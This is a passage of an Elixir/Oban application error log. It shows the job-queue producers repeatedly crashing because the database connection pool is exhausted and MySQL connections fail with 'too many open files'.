    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:37:37.240848Z], limit: 5, uuid: "09ef282f-e0e2-445e-9195-7107de7554b0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:37.240853Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.208320>, refresh_timer: #Reference<0.2525715032.1068498948.67848>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:37:37.240317Z], limit: 20, uuid: "aa056197-22b7-4110-85e8-22478427a337", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:37.240324Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.208316>, refresh_timer: #Reference<0.2525715032.1121189889.208255>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1815ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:37:37.240712Z], limit: 3, uuid: "1f65e2da-7a21-43fa-a8f0-3bfd8d198abd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:37.240718Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.208319>, refresh_timer: #Reference<0.2525715032.1121189889.208272>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:51.658000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:51.825000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:54.100000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:57.390000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:57.896000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:01.004000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:01.217000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:02.947000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1096ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:37:50.240494Z], limit: 5, uuid: "631f12a4-d507-409a-b249-c85d696108bd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:50.240501Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.64585>, refresh_timer: #Reference<0.2525715032.1077673987.47253>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:37:50.240401Z], limit: 5, uuid: "f807174d-c126-4a80-966b-1c5ff956d951", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:50.240408Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.64584>, refresh_timer: #Reference<0.2525715032.1077673987.47242>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:37:50.240565Z], limit: 20, uuid: "8232f1b2-43cf-4f54-934b-4590f662dcdc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:50.240572Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.64582>, refresh_timer: #Reference<0.2525715032.1077673987.47252>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:37:50.242583Z], limit: 3, uuid: "75f3bec6-e907-4b60-8dd3-c077de133016", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:50.242588Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.64581>, refresh_timer: #Reference<0.2525715032.1099431938.64566>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 870ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:37:50.240674Z], limit: 50, uuid: "c8f6d390-73ce-49cb-bbc0-3835519f4f7e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:50.240681Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.64586>, refresh_timer: #Reference<0.2525715032.1077673987.47256>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 868ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:37:50.240546Z], limit: 10, uuid: "f26955d4-f749-4b81-bc04-047d903af140", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:50.240551Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.64583>, refresh_timer: #Reference<0.2525715032.1077673987.47248>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:04.265000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
